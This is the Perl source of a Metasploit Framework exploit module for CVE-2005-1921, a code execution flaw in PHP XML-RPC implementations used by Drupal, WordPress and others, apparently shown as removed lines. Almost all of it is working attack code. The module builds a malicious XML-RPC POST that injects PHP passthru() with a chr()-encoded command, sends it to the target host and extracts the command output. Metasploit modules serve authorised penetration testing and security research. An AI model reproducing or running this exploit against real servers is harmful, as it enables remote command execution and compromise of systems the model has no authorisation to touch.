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- ##
- # This file is part of the Metasploit Framework and may be redistributed
- # according to the licenses defined in the Authors field below. In the
- # case of an unknown or missing license, this file defaults to the same
- # license as the core Framework (dual GPLv2 and Artistic). The latest
- # version of the Framework can always be obtained from metasploit.com.
- ##
-
- package Msf::Exploit::php_xmlrpc_eval;
- use base "Msf::Exploit";
- use strict;
- use Pex::Text;
- use bytes;
-
- my $advanced = { };
-
- my $info = {
- 'Name' => 'PHP XML-RPC Arbitrary Code Execution',
- 'Version' => '$Revision: 1.4 $',
- 'Authors' => [ 'H D Moore <hdm [at] metasploit.com>' ],
- 'Arch' => [ ],
- 'OS' => [ ],
- 'Priv' => 0,
- 'UserOpts' =>
- {
- 'RHOST' => [1, 'ADDR', 'The target address'],
- 'RPORT' => [1, 'PORT', 'The target port', 80],
- 'VHOST' => [0, 'DATA', 'The virtual host name of the server'],
- 'RPATH' => [1, 'DATA', 'Path to the XML-RPC script', '/xmlrpc.php'],
- 'SSL' => [0, 'BOOL', 'Use SSL'],
- },
-
- 'Description' => Pex::Text::Freeform(qq{
- This module exploits an arbitrary code execution flaw discovered in many
- implementations of the PHP XML-RPC module. This flaw is exploitable through
- a number of PHP web applications, including but not limited to Drupal, Wordpress,
- Postnuke, and TikiWiki.
- }),
-
- 'Refs' =>
- [
- ['OSVDB', '17793'],
- ['BID', '14088'],
- ['CVE', '2005-1921'],
- ['MIL', '49'],
- ],
-
- 'Payload' =>
- {
- 'Space' => 512,
- 'Keys' => ['cmd', 'cmd_bash'],
- },
-
- 'Keys' => ['xmlrpc'],
-
- 'DisclosureDate' => 'Jun 29 2005',
- };
-
- sub new {
- my $class = shift;
- my $self = $class->SUPER::new({'Info' => $info, 'Advanced' => $advanced}, @_);
- return($self);
- }
-
- sub Exploit {
- my $self = shift;
- my $target_host = $self->GetVar('RHOST');
- my $target_port = $self->GetVar('RPORT');
- my $vhost = $self->GetVar('VHOST') || $target_host;
- my $path = $self->GetVar('RPATH');
- my $cmd = $self->GetVar('EncodedPayload')->RawPayload;
-
- # Encode the command as a set of chr() function calls
- my $byte = join('.', map { $_ = 'chr('.$_.')' } unpack('C*', $cmd));
-
- # Create the XML-RPC post data
- my $data =
- '<?xml version="1.0"?>'.
- "<methodCall><methodName>".Pex::Text::AlphaNumText(int(rand(128)+32))."</methodName>".
- "<params><param><name>".Pex::Text::AlphaNumText(int(rand(128)+32))."');".
- "echo('_cmd_beg_\n');".
- "passthru($byte);".
- "echo('_cmd_end_\n');".
- ";//</name><value>".
- Pex::Text::AlphaNumText(int(rand(128)+32)).
- "</value></param></params></methodCall>";
-
- my $req =
- "POST $path HTTP/1.1\r\n".
- "Host: $vhost:$target_port\r\n".
- "Content-Type: application/xml\r\n".
- "Content-Length: ". length($data)."\r\n".
- "Connection: Close\r\n".
- "\r\n". $data . "\r\n";
-
- my $s = Msf::Socket::Tcp->new(
- 'PeerAddr' => $target_host,
- 'PeerPort' => $target_port,
- 'LocalPort' => $self->GetVar('CPORT'),
- 'SSL' => $self->GetVar('SSL'),
- );
-
- if ($s->IsError){
- $self->PrintLine('[*] Error creating socket: ' . $s->GetError);
- return;
- }
-
- $self->PrintLine("[*] Sending the malicious XML-RPC POST request...");
-
- $s->Send($req);
-
- my $results = $s->Recv(-1, 20);
- $s->Close();
-
- if ($results =~ m/_cmd_beg_(.*)_cmd_end_/ms) {
- my $out = $1;
- $out =~ s/^\s+|\s+$//gs;
- if ($out) {
- $self->PrintLine('----------------------------------------');
- $self->PrintLine('');
- $self->PrintLine($out);
- $self->PrintLine('');
- $self->PrintLine('----------------------------------------');
- }
- }
-
- return;
- }
-
- 1;
-